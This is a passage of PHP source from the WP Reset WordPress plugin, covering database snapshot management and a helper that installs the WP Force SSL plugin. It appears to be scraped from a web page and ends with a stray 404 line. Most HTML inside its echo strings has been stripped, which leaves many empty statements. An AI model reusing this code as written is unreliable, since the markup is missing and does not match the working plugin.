'; // activate PRO WP_Reset_Utility::wp_kses_wf($this->pro_dialog()); } // tab_pro function pro_dialog() { $out = ''; $out .= ''; return $out; } // pro_dialog /** * Echoes content for snapshots tab * * @return null */ private function tab_snapshots() { global $wpdb; $tbl_core = $tbl_custom = $tbl_size = $tbl_rows = 0; echo '
'; echo '

'; echo esc_html__('Snapshots', 'wp-reset'); echo '
'; echo '

'; echo '
'; echo '

A snapshot is a copy of all WP database tables, standard and custom ones, saved in the site\'s database. Watch a short video overview and tutorial about Snapshots.

'; echo '

Snapshots are primarily a development tool. When using various reset tools we advise using our 1-click snapshot tool available in every tool\'s confirmation dialog. If a full backup that includes files is needed, use one of the backup plugins from the repo.

'; echo '

Use snapshots to find out what changes a plugin made to your database or to quickly restore the dev environment after testing database related changes. Restoring a snapshot does not affect other snapshots, or WP Reset settings.

'; echo '

To automatically generate snapshots on plugin, theme, and core update, activate, deactivate and similar events enable automatic snapshots available in WP Reset PRO.

'; $tables = $wpdb->get_results('SHOW TABLES', ARRAY_N); if (is_array($tables)) { foreach ($tables as $table) { if (0 !== stripos($table[0], $wpdb->prefix)) { continue; } if (in_array($table[0], $this->core_tables)) { $tbl_core++; } else { $tbl_custom++; } } // foreach echo '

Currently used WordPress tables, prefixed with ' . esc_html($wpdb->prefix) . ', consist of ' . esc_html($tbl_core) . ' standard and '; if ($tbl_custom) { echo esc_attr($tbl_custom) . ' custom table' . ($tbl_custom == 1 ? '' : 's'); } else { echo 'no custom tables'; } echo ' (show details)'; } else { echo 'Tables information is not available. Something is not working properly on your site. Snapshots won\'t work.'; } echo '

'; echo '
'; echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header('User Created Snapshots', 'snapshots-user', array('collapse_button' => 1, 'create_snapshot' => true, 'snapshot_actions' => true))); echo '
'; if ($snapshots = $this->get_snapshots()) { $snapshots = array_reverse($snapshots); echo ''; echo ''; foreach ($snapshots as $ss) { echo ''; if (!empty($ss['name'])) { $name = $ss['name']; } else { $name = 'created on ' . date(get_option('date_format'), strtotime($ss['timestamp'])) . ' @ ' . date(get_option('time_format'), strtotime($ss['timestamp'])); } echo ''; echo ''; echo ''; echo ''; echo ''; } // foreach echo '
DateDescriptionSize 
'; if (current_time('timestamp') - strtotime($ss['timestamp']) > 12 * HOUR_IN_SECONDS) { echo esc_attr(date(get_option('date_format'), strtotime($ss['timestamp']))) . '
@ ' . esc_attr(date(get_option('time_format'), strtotime($ss['timestamp']))); } else { echo esc_attr(human_time_diff(strtotime($ss['timestamp']), current_time('timestamp'))) . ' ago'; } echo '
'; if (!empty($ss['name'])) { echo '' . esc_html($ss['name']) . '
'; } echo esc_attr($ss['tbl_core']) . ' standard & '; if ($ss['tbl_custom']) { echo esc_attr($ss['tbl_custom']) . ' custom table' . ($ss['tbl_custom'] == 1 ? '' : 's'); } else { echo 'no custom tables'; } echo ' totaling ' . esc_attr(number_format($ss['tbl_rows'])) . ' rows
' . esc_attr(WP_Reset_Utility::format_size($ss['tbl_size'])) . ''; echo '
'; echo ''; } else { echo '

There are no user created snapshots. Create a new snapshot.

'; } echo '
'; echo '
'; echo '
'; WP_Reset_Utility::wp_kses_wf($this->get_card_header('Automatic Snapshots', 'snapshots-auto', array('collapse_button' => false, 'pro' => true))); echo '
'; echo '

WP Reset PRO creates automatic snapshots before significant events occur on your site that can cause it to stop working correctly. Plugin, theme and core updates, plugin and theme activations and deactivations all of those can happen in the background without your knowledge. With automatic snapshots, you can roll back any update with a single click. Snapshots can be uploaded to the WP Reset Cloud, Dropbox, Google Drive or pCloud, giving you an extra layer of security.
Upgrade to WP Reset PRO to enable automatic snapshots and give your site an extra layer of safety.

'; echo '
'; echo '
'; } // tab_snapshots /** * Helper function for generating links * * @param string $placement Optional. UTM content param. * @param string $page Optional. Page to link to. * @param array $params Optional. Extra URL params. * @param string $anchor Optional. URL anchor part. * * @return string */ function generate_web_link($placement = '', $page = '/', $params = array(), $anchor = '') { $base_url = 'https://wpreset.com'; if ('/' != $page) { $page = '/' . trim($page, '/') . '/'; } if ($page == '//') { $page = '/'; } if ($placement) { $placement = trim($placement); $placement = '-' . $placement; } $parts = array_merge(array('ref' => 'wp-reset-free'. $placement), $params); if (!empty($anchor)) { $anchor = '#' . trim($anchor, '#'); } $out = $base_url . $page . '?' . http_build_query($parts, '', '&') . $anchor; return $out; } // generate_web_link /** * Returns all saved snapshots from DB * * @return array */ function get_snapshots() { $snapshots = get_option('wp-reset-snapshots', array()); return $snapshots; } // get_snapshots /** * Returns all custom table names, with prefix * * @return array */ function get_custom_tables() { global $wpdb; $custom_tables = array(); $table_status = $wpdb->get_results('SHOW TABLE STATUS'); if (is_array($table_status)) { foreach ($table_status as $index => $table) { if (0 !== stripos($table->Name, $wpdb->prefix)) { continue; } if (empty($table->Engine)) { continue; } if (false === in_array($table->Name, $this->core_tables)) { $custom_tables[] = array('name' => $table->Name, 'rows' => $table->Rows, 'data_length' => $table->Data_length, 'index_length' => $table->Index_length); } } // foreach } return $custom_tables; } // get_custom tables /** * Creates snapshot of current tables by copying them in the DB and saving metadata. * * @param int $name Optional. Name for the new snapshot. * * @return array|WP_Error Snapshot details in array on success, or error object on fail. */ function do_create_snapshot($name = '') { global $wpdb; $snapshots = $this->get_snapshots(); $snapshot = array(); $uid = $this->generate_snapshot_uid(); $tbl_core = $tbl_custom = $tbl_size = $tbl_rows = 0; if (!$uid) { return new WP_Error(1, 'Unable to generate a valid snapshot UID.'); } if ($name) { $snapshot['name'] = substr(trim($name), 0, 64); } else { $snapshot['name'] = ''; } $snapshot['uid'] = $uid; $snapshot['timestamp'] = current_time('mysql'); $table_status = $wpdb->get_results('SHOW TABLE STATUS'); if (is_array($table_status)) { foreach ($table_status as $index => $table) { if (0 !== stripos($table->Name, $wpdb->prefix)) { continue; } if (empty($table->Engine)) { continue; } $tbl_rows += $table->Rows; $tbl_size += $table->Data_length + $table->Index_length; if (in_array($table->Name, $this->core_tables)) { $tbl_core++; } else { $tbl_custom++; } $wpdb->wpreset_snapshot_table_name = $table->Name; $wpdb->wpreset_snapshot_table_copy_name = $uid . '_' . $table->Name; $wpdb->query("OPTIMIZE TABLE " . $wpdb->wpreset_snapshot_table_name); $wpdb->query("CREATE TABLE " . $wpdb->wpreset_snapshot_table_copy_name . " LIKE " . $wpdb->wpreset_snapshot_table_name); $wpdb->query("INSERT " . $wpdb->wpreset_snapshot_table_copy_name . " SELECT * FROM " . $wpdb->wpreset_snapshot_table_name); } // foreach } else { return new WP_Error(1, 'Can\'t get table status data.'); } $snapshot['tbl_core'] = $tbl_core; $snapshot['tbl_custom'] = $tbl_custom; $snapshot['tbl_rows'] = $tbl_rows; $snapshot['tbl_size'] = $tbl_size; $snapshots[$uid] = $snapshot; update_option('wp-reset-snapshots', $snapshots); do_action('wp_reset_create_snapshot', $uid, $snapshot); return $snapshot; } // create_snapshot /** * Delete snapshot metadata and tables from DB * * @param string $uid Snapshot unique 6-char ID. * * @return bool|WP_Error True on success, or error object on fail. */ function do_delete_snapshot($uid = '') { global $wpdb; $snapshots = $this->get_snapshots(); if (strlen($uid) != 6) { return new WP_Error(1, 'Invalid UID format.'); } if (!isset($snapshots[$uid])) { return new WP_Error(1, 'Unknown snapshot ID.'); } $tables = $wpdb->get_col($wpdb->prepare('SHOW TABLES LIKE %s', array($uid . '\_%'))); foreach ($tables as $table) { $wpdb->wpreset_snapshot_table = $table; $wpdb->query('DROP TABLE IF EXISTS ' . $wpdb->wpreset_snapshot_table); } $snapshot_copy = $snapshots[$uid]; unset($snapshots[$uid]); update_option('wp-reset-snapshots', $snapshots); do_action('wp_reset_delete_snapshot', $uid, $snapshot_copy); return true; } // delete_snapshot /** * Exports snapshot as SQL dump; saved in gzipped file in WP_CONTENT folder. * * @param string $uid Snapshot unique 6-char ID. * * @return string|WP_Error Export base filename, or error object on fail. */ function do_export_snapshot($uid = '') { $snapshots = $this->get_snapshots(); if (strlen($uid) != 6) { return new WP_Error(1, 'Invalid snapshot ID format.'); } if (!isset($snapshots[$uid])) { return new WP_Error(1, 'Unknown snapshot ID.'); } require_once $this->plugin_dir . 'libs/dumper.php'; $snapshot_file_uid = md5($this->generate_snapshot_uid(10)); try { $world_dumper = WPR_Shuttle_Dumper::create(array( 'host' => DB_HOST, 'username' => DB_USER, 'password' => DB_PASSWORD, 'db_name' => DB_NAME, )); $folder = wp_mkdir_p(trailingslashit(WP_CONTENT_DIR) . $this->snapshots_folder); if (!$folder) { return new WP_Error(1, 'Unable to create wp-content/' . $this->snapshots_folder . '/ folder.'); } $htaccess_content = 'AddType application/octet-stream .gz' . PHP_EOL; $htaccess_content .= 'Options -Indexes' . PHP_EOL; $htaccess_file = @fopen(trailingslashit(WP_CONTENT_DIR) . $this->snapshots_folder . '/.htaccess', 'w'); if ($htaccess_file) { fputs($htaccess_file, $htaccess_content); fclose($htaccess_file); } $world_dumper->dump(trailingslashit(WP_CONTENT_DIR) . $this->snapshots_folder . '/wp-reset-snapshot-' . $snapshot_file_uid . '.sql.gz', $uid . '_'); } catch (Shuttle_Exception $e) { return new WP_Error(1, 'Couldn\'t create snapshot: ' . $e->getMessage()); } do_action('wp_reset_export_snapshot', 'wp-reset-snapshot-' . $snapshot_file_uid . '.sql.gz'); return 'wp-reset-snapshot-' . $snapshot_file_uid . '.sql.gz'; } // export_snapshot /** * Replace current tables with ones in snapshot. * * @param string $uid Snapshot unique 6-char ID. * * @return bool|WP_Error True on success, or error object on fail. */ function do_restore_snapshot($uid = '') { global $wpdb; $new_tables = array(); $snapshots = $this->get_snapshots(); if (($res = $this->verify_snapshot_integrity($uid)) !== true) { return $res; } $table_status = $wpdb->get_results('SHOW TABLE STATUS'); if (is_array($table_status)) { foreach ($table_status as $index => $table) { if (0 !== stripos($table->Name, $uid . '_')) { continue; } if (empty($table->Engine)) { continue; } $new_tables[] = $table->Name; } // foreach } else { return new WP_Error(1, 'Can\'t get table status data.'); } foreach ($table_status as $index => $table) { if (0 !== stripos($table->Name, $wpdb->prefix)) { continue; } if (empty($table->Engine)) { continue; } $wpdb->wpreset_snapshot_table = $table->Name; $wpdb->query('DROP TABLE ' . $wpdb->wpreset_snapshot_table); } // foreach // copy snapshot tables to original name foreach ($new_tables as $table) { $wpdb->wpreset_snapshot_table = $table; $wpdb->wpreset_snapshot_table_new = str_replace($uid . '_', '', $table); $wpdb->query("CREATE TABLE " . $wpdb->wpreset_snapshot_table_new . " LIKE " . $wpdb->wpreset_snapshot_table); $wpdb->query("INSERT " . $wpdb->wpreset_snapshot_table_new . " SELECT * FROM " . $wpdb->wpreset_snapshot_table); } wp_cache_flush(); update_option('wp-reset', $this->options); update_option('wp-reset-snapshots', $snapshots); do_action('wp_reset_restore_snapshot', $uid); return true; } // restore_snapshot /** * Verifies snapshot integrity by comparing metadata and data in DB * * @param string $uid Snapshot unique 6-char ID. * * @return bool|WP_Error True on success, or error object on fail. */ function verify_snapshot_integrity($uid) { global $wpdb; $tbl_core = $tbl_custom = 0; $snapshots = $this->get_snapshots(); if (strlen($uid) != 6) { return new WP_Error(1, 'Invalid snapshot ID format.'); } if (!isset($snapshots[$uid])) { return new WP_Error(1, 'Unknown snapshot ID.'); } $snapshot = $snapshots[$uid]; $table_status = $wpdb->get_results('SHOW TABLE STATUS'); if (is_array($table_status)) { foreach ($table_status as $index => $table) { if (0 !== stripos($table->Name, $uid . '_')) { continue; } if (empty($table->Engine)) { continue; } if (in_array(str_replace($uid . '_', '', $table->Name), $this->core_tables)) { $tbl_core++; } else { $tbl_custom++; } } // foreach if ($tbl_core != $snapshot['tbl_core'] || $tbl_custom != $snapshot['tbl_custom']) { return new WP_Error(1, 'Snapshot data has been compromised. Saved metadata does not match data in the DB. Contact WP Reset support if data is critical, or restore it via a MySQL GUI.'); } } else { return new WP_Error(1, 'Can\'t get table status data.'); } return true; } // verify_snapshot_integrity /** * Compares a selected snapshot with the current table set in DB * * @param string $uid Snapshot unique 6-char ID. * * @return string|WP_Error Formatted table with details on success, or error object on fail. */ function do_compare_snapshots($uid) { global $wpdb; $current = $snapshot = array(); $out = $out2 = $out3 = ''; if (($res = $this->verify_snapshot_integrity($uid)) !== true) { return $res; } $table_status = $wpdb->get_results('SHOW TABLE STATUS'); foreach ($table_status as $index => $table) { if (empty($table->Engine)) { continue; } if (0 !== stripos($table->Name, $uid . '_') && 0 !== stripos($table->Name, $wpdb->prefix)) { continue; } $info = array(); $info['rows'] = $table->Rows; $info['size_data'] = $table->Data_length; $info['size_index'] = $table->Index_length; $wpdb->wpreset_table_name = $table->Name; $schema = $wpdb->get_row('SHOW CREATE TABLE ' . $wpdb->wpreset_table_name, ARRAY_N); $info['schema'] = $schema[1]; $info['engine'] = $table->Engine; $info['fullname'] = $table->Name; $basename = str_replace(array($uid . '_'), array(''), $table->Name); $info['basename'] = $basename; $info['corename'] = str_replace(array($wpdb->prefix), array(''), $basename); $info['uid'] = $uid; if (0 === stripos($table->Name, $uid . '_')) { $snapshot[$basename] = $info; } if (0 === stripos($table->Name, $wpdb->prefix)) { $info['uid'] = ''; $current[$basename] = $info; } } // foreach $in_both = array_keys(array_intersect_key($current, $snapshot)); $in_current_only = array_diff_key($current, $snapshot); $in_snapshot_only = array_diff_key($snapshot, $current); $out .= '

'; foreach ($in_current_only as $table) { $out .= '
'; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= '
' . $table['fullname'] . 'table is not present in snapshot
'; $out .= '
'; } // foreach in current only foreach ($in_snapshot_only as $table) { $out .= '
'; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= ''; $out .= '
table is not present in current tables' . esc_html($table['fullname']) . '
'; $out .= '
'; } // foreach in snapshot only foreach ($in_both as $tablename) { $tbl_current = $current[$tablename]; $tbl_snapshot = $snapshot[$tablename]; $schema1 = preg_replace('/(auto_increment=)([0-9]*) /i', '${1}1 ', $tbl_current['schema'], 1); $schema2 = preg_replace('/(auto_increment=)([0-9]*) /i', '${1}1 ', $tbl_snapshot['schema'], 1); $tbl_snapshot['tmp_schema'] = str_replace($tbl_snapshot['uid'] . '_' . $tablename, $tablename, $tbl_snapshot['schema']); $schema2 = str_replace($tbl_snapshot['uid'] . '_' . $tablename, $tablename, $schema2); if ($tbl_current['rows'] == $tbl_snapshot['rows'] && $tbl_current['schema'] == $tbl_snapshot['tmp_schema']) { $out3 .= '
'; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= ''; $out3 .= '
' . $tbl_current['fullname'] . '' . $tbl_snapshot['fullname'] . '
'; $out3 .= '
'; } elseif ($schema1 != $schema2) { require_once $this->plugin_dir . 'libs/diff.php'; require_once $this->plugin_dir . 'libs/diff/Renderer/Html/SideBySide.php'; $diff = new WPR_Diff(explode("\n", $tbl_current['schema']), explode("\n", $tbl_snapshot['schema']), array('ignoreWhitespace' => false)); $renderer = new WPR_Diff_Renderer_Html_SideBySide; $out2 .= '
'; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= '
' . $tbl_current['fullname'] . ' table schemas do not match' . $tbl_snapshot['fullname'] . ' table schemas do not match
'; $out2 .= '
'; } else { $out2 .= '
'; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= ''; $out2 .= '
' . $tbl_current['fullname'] . ' data in tables does not match' . $tbl_snapshot['fullname'] . ' data in tables does not match
'; $out2 .= '
'; } } // foreach in both return $out . $out2 . $out3; } // do_compare_snapshots /** * Generates a unique snapshot ID; verified non-existing * * @return string */ function generate_snapshot_uid($length = 6) { global $wpdb; $snapshots = $this->get_snapshots(); $cnt = 0; $uid = false; do { $cnt++; $uid = substr(str_shuffle(str_repeat('abcdefghijklmnopqrstuvwxyz', $length)), 0, $length); $verify_db = $wpdb->get_col($wpdb->prepare('SHOW TABLES LIKE %s', array('%' . $uid . '%'))); } while (!empty($verify_db) && isset($snapshots[$uid]) && $cnt < 30); if ($cnt == 30) { $uid = false; } return $uid; } // generate_snapshot_uid // auto download / install / activate WP Force SSL plugin function install_wpfssl() { check_ajax_referer('install_wpfssl'); if (false === current_user_can('manage_options')) { wp_die('Sorry, you have to be an admin to run this action.'); } $plugin_slug = 'wp-force-ssl/wp-force-ssl.php'; $plugin_zip = 'https://downloads.wordpress.org/plugin/wp-force-ssl.latest-stable.zip'; @include_once ABSPATH . 'wp-admin/includes/plugin.php'; @include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; @include_once ABSPATH . 'wp-admin/includes/plugin-install.php'; @include_once ABSPATH . 'wp-admin/includes/file.php'; @include_once ABSPATH . 'wp-admin/includes/misc.php'; echo ''; echo '
'; echo 'If things are not done in a minute install the plugin manually via Plugins page

'; echo 'Starting ...

'; wp_cache_flush(); $upgrader = new Plugin_Upgrader(); echo 'Check if WP Force SSL is already installed ...
'; if ($this->is_plugin_installed($plugin_slug)) { echo 'WP Force SSL is already installed!

Making sure it\'s the latest version.
'; $upgrader->upgrade($plugin_slug); $installed = true; } else { echo 'Installing WP Force SSL.
'; $installed = $upgrader->install($plugin_zip); } wp_cache_flush(); if (!is_wp_error($installed) && $installed) { echo 'Activating WP Force SSL.
'; $activate = activate_plugin($plugin_slug); if (is_null($activate)) { echo 'WP Force SSL Activated.
'; echo ''; echo '
If you are not redirected in a few seconds - click here.'; } } else { echo 'Could not install WP Force SSL. You\'ll have to download and install manually.'; } echo '
'; } // install_wpfssl /** * Clean up on uninstall; no action on deactive at the moment * * @return null */ static function uninstall() { delete_option('wp-reset'); delete_option('wp-reset-snapshots'); } // uninstall /** * Disabled; we use singleton pattern so magic functions need to be disabled * * @return null */ function __clone() { } /** * Disabled; we use singleton pattern so magic functions need to be disabled * * @return null */ function __sleep() { } /** * Disabled; we use singleton pattern so magic functions need to be disabled * * @return null */ function __wakeup() { } } // WP_Reset class // Create plugin instance and hook things up // Only if in admin - plugin has no frontend functionality if (is_admin() || WP_Reset::is_cli_running()) { global $wp_reset; $wp_reset = WP_Reset::getInstance(); add_action('plugins_loaded', array($wp_reset, 'load_textdomain')); register_uninstall_hook(__FILE__, array('WP_Reset', 'uninstall')); } Page not found – Bennys Construction

It looks like nothing was found at this location. Maybe try a search?